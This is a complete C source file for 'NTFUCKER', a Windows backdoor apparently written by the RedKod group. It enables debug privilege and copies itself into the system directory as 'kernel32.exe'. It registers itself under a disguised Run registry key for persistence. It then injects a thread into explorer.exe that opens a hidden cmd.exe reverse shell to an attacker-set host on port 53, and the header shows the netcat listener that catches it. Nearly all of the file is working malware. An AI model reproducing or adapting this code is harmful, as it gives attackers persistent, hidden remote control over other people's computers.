/*   
 *	    --  BAM ! BAM ! @#! ROOTKIT RULEZ @#! BIM ! BIM !	--
 *		_   _ _____ _____ _   _  ____ _  _______ ____
 *             | \ | |_   _|  ___| | | |/ ___| |/ / ____|  _ \
 *             |  \| | | | | |_  | | | | |   | ' /|  _| | |_) |
 *             | |\  | | | |  _| | |_| | |___| . \| |___|  _ <
 *             |_| \_| |_| |_|   \____/ \____|_|\_\_____|_| \_\
 *							
 *				  - 0.2 -
 *
 *		@#!	CONFIDENTIAL			@#!
 *		@#!	PRIVATE				@#!
 *		@#!	DO NOT DISTRIBUTE		@#!
 *		@#!	REDKOD INTERNAL PRODUCT 	@#!
 *
 *			[-----------------------------]
 *			[	RedKod		      ]
 *			[	#redkod@EFNET	      ]	
 *			[	R-e-D		      ]
 *			[	r-e-d@redkod.com      ]
 *			[-----------------------------]
 *
 *	C:\>ntfucker.exe
 *	C:\>nc -l -p 53
 *	Microsoft Windows 2000 [Version 5.00.2195]
 *
 *	(C) Copyright 1985-2000 Microsoft Corp.
 *
 *	C:\> 
 *  
 *	w00000000
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#include <tlhelp32.h>
#include <process.h>

#pragma comment(lib, "wsock32.lib")

/* No default lib */
#define WIN32_LEAN_AND_MEAN


////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////

/* Options */
#define INJECTED_PROCESS	"explorer.exe"
#define	COPY_NAME		"kernel32.exe"

#define HOST			"YOURHOST"		/* For Reverse Shell */
#define PORT			53


////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////

/*
/* Library Function 
*/

/* LoadLibraryA */
typedef HMODULE (__stdcall *ptLoadLibraryA)(char *);
/* GetModuleHandleW */
typedef HMODULE (__stdcall *ptGetModuleHandleW)(char *);
/* GetProcessAddress */
typedef FARPROC (__stdcall *ptGetProcAddress)(HMODULE, char *);
/* FreeLibrary */
typedef BOOL    (__stdcall *ptFreeLibrary)(HMODULE);

/*
/* Memory Function 
*/

/* GlobalAlloc */
typedef HGLOBAL (__stdcall *ptGlobalAlloc)(UINT, DWORD);
/* GlobalFree */
typedef HGLOBAL (__stdcall *ptGlobalFree)(HGLOBAL);
/* RtlZeroMemory */
typedef VOID    (__stdcall *ptRtlZeroMemory)(IN VOID UNALIGNED *Destination, IN SIZE_T);
/* ZeroMemory */
typedef VOID    (__stdcall *ptZeroMemory)(PVOID, DWORD);

/*
/* Winsock Function 
*/

/* WSAStartup */
typedef int    (__stdcall *ptWSAStartup)(WORD, LPWSADATA lpWSAData);
/* WSACleanup */
typedef int    (__stdcall *ptWSACleanup)(void);
/* inet_addr */
typedef unsigned long (__stdcall *ptinet_addr)(const char FAR * cp);
/* socket */
typedef SOCKET (__stdcall *ptsocket)(int, int, int);
/* connect */
typedef int  (__stdcall *ptconnect)(SOCKET, const struct sockaddr FAR *name, int);
/* send */
typedef int  (__stdcall *ptsend)(SOCKET, const char FAR *buf, int, int);
/* recv */
typedef int  (__stdcall *ptrecv)(SOCKET, char FAR *buf, int, int);
/* closesocket */
typedef int  (__stdcall *ptclosesocket)(SOCKET);
/* htons */
typedef u_short (__stdcall *pthtons)(u_short);

/*
/* Pipe Function 
*/

/* CreatePipe */
typedef BOOL (__stdcall *ptCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
/* ReadFile */
typedef BOOL (__stdcall *ptReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
/* WriteFile */
typedef BOOL (__stdcall *ptWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
/* PeekNamedPipe */
typedef BOOL (__stdcall *ptPeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD,  LPDWORD);
/* CloseHandle */
typedef BOOL (__stdcall *ptCloseHandle)(HANDLE);

/* 
/* Process Function
*/

/* GetStartupInfo */
typedef VOID (__stdcall *ptGetStartupInfoA)(LPSTARTUPINFO);
/* CreateProcess */
typedef BOOL (__stdcall *ptCreateProcessA)(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
										  BOOL,	DWORD, LPVOID, LPCTSTR,	LPSTARTUPINFO, LPPROCESS_INFORMATION);
/* TerminateProcess */
typedef BOOL (__stdcall *ptTerminateProcess)(HANDLE, UINT);
/* ExitProcess */
typedef VOID (__stdcall *ptExitProcess)(UINT);

/* Others */
typedef size_t (__stdcall *ptstrlen)(const char *);
typedef VOID (__stdcall *ptSleep)(DWORD);

typedef struct RemoteThreadData
{
	/* LoadLibrary function address */
	ptLoadLibraryA		fnLoadLibrary;
	/* FreeLibrary function address */
	ptFreeLibrary		fnFreeLibrary;
	/* GetProcAddress function address */
	ptGetProcAddress	fnGetProcAddress;
	
	HMODULE hModule[2];

	char cmd_path[_MAX_PATH];
	char remote_host_ip[256];
	unsigned int  remote_host_port;
	char imported_lib[2][_MAX_PATH];
	char imported_function[50][256];

} RemoteThreadData;


////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////

int LoadPrivilege(void)
{
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
		return(-1);

	if (!LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue))
		return(-1);

	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = sedebugnameValue;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
		return(-1);

	CloseHandle(hToken);

	return(0);
}

////////////////////////////////////////////////////////////////////////////////////

int InitWinsock(void)
{
	WORD wVersionRequested; 
	WSADATA WSAData; 			                   /* Structure WSADATA définie dans winsock.h */
 	int err;
	  	
	wVersionRequested = MAKEWORD(1,1); 	           /* 1.1 Version voulut de Winsock */  	
 	err = WSAStartup(wVersionRequested, &WSAData); /* Appel de notre fonction */

	return(err);
}

////////////////////////////////////////////////////////////////////////////////////

DWORD __stdcall RemoteThread(RemoteThreadData *data)
{
	SOCKET socket;	
	WSADATA wsaData;
	SECURITY_ATTRIBUTES secu;
	STARTUPINFO starti;
	PROCESS_INFORMATION process;
	HANDLE read_1, read_2, write_1, write_2;
	struct sockaddr_in sin;
	unsigned short wVersionRequested;
	unsigned long byte_read;
	unsigned int err;
	int i, t = 1, len;
	char *buffer = NULL;


	/* Load all library 
	/* [0]->[kernel32.dll]
	/* [1]->[wsock32.dll]
	*/

	for(i = 0; i < 2; i++)
		if(data->hModule[i] == NULL)
			if(data->imported_lib[i] != 0)
				data->hModule[i] = (HMODULE)(*data->fnLoadLibrary)(data->imported_lib[i]);

	/* Getting address for all Function */

	/* [0]->[kernel32.dll] functions */
	ptGlobalAlloc fnGlobalAlloc = (ptGlobalAlloc)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[0]);
	ptGlobalFree fnGlobalFree = (ptGlobalFree)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[1]);
	ptRtlZeroMemory fnRtlZeroMemory = (ptRtlZeroMemory)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[2]);
	ptGetStartupInfoA fnGetStartupInfoA = (ptGetStartupInfoA)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[3]);
	ptCreateProcessA fnCreateProcessA = (ptCreateProcessA)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[4]);
	ptTerminateProcess fnTerminateProcess = (ptTerminateProcess)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[5]);
	ptExitProcess fnExitProcess = (ptExitProcess)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[6]);
	ptCreatePipe fnCreatePipe = (ptCreatePipe)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[7]);
	ptReadFile fnReadFile = (ptReadFile)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[8]);
	ptWriteFile fnWriteFile = (ptWriteFile)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[9]);
	ptPeekNamedPipe fnPeekNamedPipe = (ptPeekNamedPipe)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[10]);
	ptCloseHandle fnCloseHandle = (ptCloseHandle)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[11]);
	ptSleep	fnSleep = (ptSleep)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[22]);
	ptstrlen fnstrlen = (ptstrlen)(*data->fnGetProcAddress)(data->hModule[0], data->imported_function[21]);
	
	/* [1]->[wsock32.dll] functions */
	ptWSAStartup fnWSAStartup = (ptWSAStartup)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[12]);
	ptWSACleanup fnWSACleanup = (ptWSACleanup)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[13]);
	ptinet_addr fninet_addr = (ptinet_addr)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[14]);
	ptsocket fnsocket = (ptsocket)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[15]);
	ptconnect fnconnect = (ptconnect)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[16]);
	ptsend fnsend = (ptsend)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[17]);
	ptrecv fnrecv = (ptrecv)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[18]);
	ptclosesocket fnclosesocket = (ptclosesocket)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[19]);
	pthtons fnhtons = (pthtons)(*data->fnGetProcAddress)(data->hModule[1], data->imported_function[20]);


	/* Initialize Winsock 1.1 */
	i = 1;
	wVersionRequested = MAKEWORD(i, i); 
	(*fnWSAStartup)(wVersionRequested, &wsaData);
	
start:

	/* sockaddr_in structure */
	sin.sin_family = AF_INET;
	sin.sin_addr.S_un.S_addr = (*fninet_addr)(data->remote_host_ip);
	sin.sin_port = (*fnhtons)(data->remote_host_port);

	/* Create the socket */	
	i = 0;
	socket = (*fnsocket)(AF_INET, SOCK_STREAM, i);
	if(socket == INVALID_SOCKET)
		goto start;

	/* Connect */
	err = (*fnconnect)(socket, (struct sockaddr *)&sin, sizeof(struct sockaddr));
	if(err < 0) {
		closesocket(socket);
		goto start;
	}
	
	(*fnRtlZeroMemory)(&secu, sizeof(SECURITY_ATTRIBUTES));
	secu.nLength = sizeof(SECURITY_ATTRIBUTES);
	secu.bInheritHandle = TRUE;

	/* Create all Pipes */
	err = (*fnCreatePipe)(&read_1, &write_1, &secu, 0);
	if(!err) goto free;
	err = (*fnCreatePipe)(&read_2, &write_2, &secu, 0);
	if(!err) goto free;
	
	/* STARTUPINFO structure */
	(*fnRtlZeroMemory)(&starti, sizeof(STARTUPINFO));
	(*fnGetStartupInfoA)(&starti);

	starti.cb = sizeof(STARTUPINFO);
	starti.hStdError  = write_1;
	starti.hStdOutput = write_1;
	starti.hStdInput  = read_2;
	starti.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
	starti.wShowWindow = SW_HIDE;

	/* Create the process */
	err = (*fnCreateProcessA)(0, data->cmd_path, &secu, &secu, TRUE, 0, 0, 0, &starti, &process);
	if(!err) goto free;
	
	(*fnCloseHandle)(read_2);
	(*fnCloseHandle)(write_1);

	i = 1024;

	/* allocate memory for the buffer */
	buffer = (char *)(*fnGlobalAlloc)(GPTR, i);

	/* Get the output of cmd.exe */
write:

	(*fnRtlZeroMemory)(buffer, i);
	err = (*fnReadFile)(read_1, buffer, i, &byte_read, 0);
	if(!err)
		goto error;

	err = (*fnsend)(socket, buffer, byte_read, 0);
	if(err == SOCKET_ERROR)
		goto error;

	(*fnSleep)(t);

	err = (*fnPeekNamedPipe)(read_1, 0, 0, 0, &byte_read, 0);
	if(!err) 
		goto error;

	if(byte_read) goto write;

	/* Get the command line */
	read:

	(*fnRtlZeroMemory)(buffer, i);

	err = (*fnrecv)(socket, buffer, i, 0);

	if(err == SOCKET_ERROR || err < 1) 
		goto error;

	err = (*fnWriteFile)(write_2, buffer, err, &byte_read, 0);
	if(err < 1)
		goto error;

	len = (*fnstrlen)(buffer) - t;
	if(buffer[len] != '\n') goto read;

	goto write;

error:
	(*fnTerminateProcess)(process.hProcess, 0);
	(*fnCloseHandle)(write_2);
	(*fnCloseHandle)(read_1);
	(*fnclosesocket)(socket);
	(*fnGlobalFree)(buffer);
	goto start;

free:	

	for(i=0; i < 2; i++)
		if(data->hModule[i] != NULL)
			data->fnFreeLibrary(data->hModule[i]);

	return(0);
}

////////////////////////////////////////////////////////////////////////////////////

int BackdoorSys(void)
{
	char *srcfile = NULL, *dstfile = NULL;
	HKEY key;

	/* Get Current Executable Path */
	srcfile = (char *)malloc(MAX_PATH * sizeof(char));
	GetModuleFileName(NULL, srcfile, MAX_PATH * sizeof(char));
	
	/* Destination File */
	dstfile = (char *)malloc(MAX_PATH * sizeof(char) + 20 * sizeof(char));
	GetSystemDirectory(dstfile, MAX_PATH * sizeof(char) + 20 * sizeof(char));
	strcat(dstfile, "\\");
	strcat(dstfile, (char *)COPY_NAME);

	/* Now copy the file */
	CopyFile(srcfile, dstfile, FALSE);	

	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", (DWORD)NULL,KEY_ALL_ACCESS, &key);
	RegSetValueEx(key,"MSkernel32", (DWORD)NULL, REG_SZ, (const BYTE *)dstfile, strlen(dstfile));
	RegCloseKey(key);

	free(srcfile);
	free(dstfile);

	return(0);
}

////////////////////////////////////////////////////////////////////////////////////


int Hijack(DWORD pid)
{
	HINSTANCE hDll;
	HANDLE hProc, hThread=NULL;
	DWORD thread_pid, rc;
	BOOL result = 0;
	RemoteThreadData param;
	RemoteThreadData *DataPointer = NULL;
	struct hostent *addr = NULL;
	void *CodePointer = NULL;
	char *cmdpath = NULL;

	/* backdoor the system into registry, ... */
	BackdoorSys();

	/* Clean the structure */
	ZeroMemory(&param, sizeof(RemoteThreadData));

	/* Load the kernel32.dll for getting all imported function address */
	hDll = LoadLibrary("kernel32.dll");
	if(hDll == NULL)
		return(-1);

	
   	 /* Set parameters of the RemoteThreadData structure */
	param.fnLoadLibrary     = (ptLoadLibraryA)GetProcAddress(hDll, "LoadLibraryA");
	param.fnFreeLibrary     = (ptFreeLibrary)GetProcAddress(hDll, "FreeLibrary");
	param.fnGetProcAddress  = (ptGetProcAddress)GetProcAddress(hDll, "GetProcAddress");

	if(param.fnLoadLibrary == NULL || param.fnFreeLibrary == NULL || param.fnGetProcAddress == NULL)
		goto clean;

	/* Library */	
	strcpy(param.imported_lib[0], "kernel32.dll");
	strcpy(param.imported_lib[1], "wsock32.dll");

	/* Function */
	/* kernel32.dll */
	strcpy(param.imported_function[0], "GlobalAlloc");
	strcpy(param.imported_function[1], "GlobalFree");
	strcpy(param.imported_function[2], "RtlZeroMemory");
	strcpy(param.imported_function[3], "GetStartupInfoA");
	strcpy(param.imported_function[4], "CreateProcessA");
	strcpy(param.imported_function[5], "TerminateProcess");
	strcpy(param.imported_function[6], "ExitProcess");
	strcpy(param.imported_function[7], "CreatePipe");
	strcpy(param.imported_function[8], "ReadFile");
	strcpy(param.imported_function[9], "WriteFile");
	strcpy(param.imported_function[10], "PeekNamedPipe");
	strcpy(param.imported_function[11], "CloseHandle");
	strcpy(param.imported_function[21], "lstrlenA");
	strcpy(param.imported_function[22], "Sleep");

	//	
	/* wsock32.dll */
	strcpy(param.imported_function[12], "WSAStartup");
	strcpy(param.imported_function[13], "WSACleanup");
	strcpy(param.imported_function[14], "inet_addr");
	strcpy(param.imported_function[15], "socket");
	strcpy(param.imported_function[16], "connect");
	strcpy(param.imported_function[17], "send");
	strcpy(param.imported_function[18], "recv");
	strcpy(param.imported_function[19], "closesocket");
	strcpy(param.imported_function[20], "htons");

	
	/* Get the path of cmd.exe */
	cmdpath = (char *)malloc(MAX_PATH * sizeof(char));
	GetSystemDirectory(cmdpath, MAX_PATH * sizeof(char));
	strcat(cmdpath, "\\cmd.exe");
	strcpy(param.cmd_path, cmdpath);
	free(cmdpath);

	/* Winsock initialisation */
	InitWinsock();

	/* Resolve the hostname */	
	addr = gethostbyname((char *)HOST);
	if(!addr) 
		goto clean;

	/* Remote host */
	strcpy(param.remote_host_ip, inet_ntoa(*(struct in_addr *)addr->h_addr));

	/* Remote port */
	param.remote_host_port = (int)PORT;


	/* Open the remote process */
	hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if(hProc == NULL)
		goto clean;

	/* Allocate memory for the code */
	CodePointer = VirtualAllocEx(hProc, 0, sizeof(param) + 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if(CodePointer == NULL)
		goto clean;
	
	/* Allocate memory for all parameter */
	DataPointer = (RemoteThreadData *)VirtualAllocEx(hProc, 0, sizeof(param) + 4096, MEM_COMMIT, PAGE_READWRITE);
	if (DataPointer == 0)
		goto clean;
		
	/* copy function there, we will execute this piece of code */
	result = WriteProcessMemory(hProc, CodePointer, &RemoteThread, sizeof(param) + 4096, 0);
	if (result == 0) 
		goto clean;

	/* copy data in the remote process */
	result = WriteProcessMemory(hProc, DataPointer, &param, sizeof(param), 0);
	if (result == 0)
		goto clean;


	/* Create the remote thread */
	hThread = CreateRemoteThread(hProc,  NULL,  0, (DWORD (__stdcall *)( void *)) CodePointer, DataPointer, 0, &thread_pid);
	if (hThread == NULL)
		goto clean;
 
	/* wait for single object */
	rc = WaitForSingleObject(hThread, INFINITE); 

	switch (rc) 
	{
	case WAIT_TIMEOUT:
		goto clean;
	case WAIT_FAILED:
		goto clean;
	case WAIT_OBJECT_0:
		if (!ReadProcessMemory(hProc, CodePointer, &param, sizeof(RemoteThreadData), 0 ))
			goto clean;
		break;
	default:
		break;
	}

clean:
	CloseHandle(hThread);
	WSACleanup();

	if (CodePointer != 0)
		VirtualFreeEx(hProc, CodePointer, 0, MEM_RELEASE);
	if (DataPointer != 0)
		VirtualFreeEx(hProc, DataPointer, 0, MEM_RELEASE);
	if ( hDll != NULL)
		FreeLibrary(hDll);

	return(0);
}

////////////////////////////////////////////////////////////////////////////////////

DWORD GetPidByName(char *proc_name)
{
	BOOL		Ret;
	HANDLE		Snapshot;
	PROCESSENTRY32	pe;
	unsigned long   Pid = 0;

	Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (Snapshot == (HANDLE) -1)
		return(0);

	pe.dwSize = sizeof(PROCESSENTRY32);

	Ret = Process32First(Snapshot, &pe);

	while (Ret) 
	{
		if(strcmp(strlwr(pe.szExeFile), strlwr(proc_name)) == 0) {
				Pid = pe.th32ProcessID;
				break;
		}
		pe.dwSize = sizeof(PROCESSENTRY32);
		Ret = Process32Next(Snapshot, &pe);
	}

	CloseHandle(Snapshot);

	return(Pid);
}

////////////////////////////////////////////////////////////////////////////////////

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow)
{
	DWORD pid;

	/* Get the pid of explorer.exe */
	pid = GetPidByName(INJECTED_PROCESS);

	/* Load the debug privilege */
	if(LoadPrivilege() == 0)
		ExitProcess(1);

	/* Now Hijack THE process :) */
	Hijack(pid);

	return(0);
}


////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////
